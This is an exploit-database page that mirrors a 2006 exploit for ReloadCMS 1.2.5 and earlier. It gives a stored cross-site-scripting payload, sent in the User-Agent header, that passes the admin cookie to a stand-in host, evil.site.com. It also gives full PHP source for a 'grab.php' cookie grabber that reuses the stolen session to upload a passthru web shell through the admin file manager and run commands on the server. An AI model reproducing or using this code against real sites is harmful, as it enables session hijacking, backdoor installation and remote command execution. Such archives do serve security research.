Lucene search
K

ReloadCMS <= 1.2.5 Cross Site Scripting / Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

ReloadCMS <= 1.2.5 Cross Site Scripting / Remote Command Executio

Code

                                                &#60;?php
/*
ReloadCMS &#60;= 1.2.5stable Cross site scripting / remote command execution

software site: http://reloadcms.com/
description: &#34;ReloadCMS is a free CMS written on PHP and based on flat files.&#34;

vulnerability:
ReloadCMS do not properly sanitize User-Agent request header before to store it
in stats.dat file.
Example of an attack, through netcat:

rgod&#62;nc target.host.com 80
GET /path_to_reloadcms/ HTTP/1.0
User-Agent: &#34;&#62;&#60;script&#62;window.open(&#34;http://evil.site.com/grab.php?c=&#34;+document.cookie+&#34;&ref=&#34;+document.URL);window.close();&#60;/script&#62;
Host: target.host.com
Connection: Close

So, when admin see site statistics through the administration panel, javascript
will run

Once grab.php script captures admin cookie, the script itself can upload a shell
trough filemanager, launch commands and write output to a logfile also, inside
cookies, there is admin MD5 password hash

rgod
mail: [email protected]
site: http://retrogod.altervista.org
							                      */

#--------------------------------grab.php---------------------------------------
#cookie grabber / backdoor install

$cmd=&#34;uname -a&#34;; //a shell command, leave empty to lauch commands later trough suntzu.php
$proxy=&#34;&#34;; //you can use a proxy (ip:port), otherwise leave empty
$logfile=&#34;log.txt&#34;;
$filename=&#34;suntzu.php&#34;; //shell filename

error_reporting(0);
ignore_user_abort(1);
ini_set(&#34;max_execution_time&#34;,0);

//log referer and cookies
$fp=fopen($logfile,&#34;a&#34;);
fputs($fp,$_GET[&#39;ref&#39;].&#34;|&#34;.$_GET[&#39;c&#39;].&#34;\r\n&#34;);

$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$temp=explode(&#34;/&#34;,$_GET[&#39;ref&#39;]);
$host=$temp[2];
$path=&#34;&#34;;
if (count($temp)&#62;4)
{
for ($i=3; $i&#60;=count($temp)-2; $i++)
{$path.=&#34;/&#34;.$temp[$i];}
}
$path.=&#34;/&#34;;
$port=80;

#step 1 -&#62; Get full application path, it is inside html, you need this to upload a shell
$packet =&#34;GET &#34;.$path.&#34;admin.php?show=module&id=general.filemanager HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$_GET[c].&#34;;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);

#step 2 -&#62; Upload the evil code
$temp=explode(&#39;name=&#34;path&#34; value=&#34;&#39;,$html);
$temp2=explode(&#34;\&#34;&#34;,$temp[1]);
$fullpath=$temp2[0];
$shell=&#39;&#60;?php error_reporting(0);ini_set(&#34;max_execution_time&#34;,0);if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}passthru($_GET[cmd]);?&#62;&#39;;
$data=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;upload\&#34;; filename=\&#34;$filename\&#34;\r\n&#34;;
$data.=&#34;Content-Type:\r\n\r\n&#34;;
$data.=&#34;$shell\r\n&#34;;
$data.=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;path\&#34;\r\n\r\n&#34;;
$data.=&#34;$fullpath\r\n&#34;;
$data.=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;test\&#34;\r\n\r\n&#34;;
$data.=&#34;Upload\r\n&#34;;
$data.=&#34;-----------------------------7d529a1d23092a--\r\n&#34;;
$packet =&#34;POST &#34;.$path.&#34;admin.php?show=module&id=general.filemanager HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$_GET[c].&#34;;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

$packet =&#34;GET &#34;.$path.&#34;suntzu.php?cmd=&#34;.urlencode($cmd).&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);

//log output
fputs($fp,&#34;suntzu&#62;&#34;.$cmd.&#34;\r\n&#34;);
fputs($fp,&#34;\r\n&#34;.$html.&#34;\r\n&#34;);
fclose($fp);
header (&#34;Location: &#34;.$_GET[&#39;ref&#39;]);
?&#62;

# milw0rm.com [2006-04-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation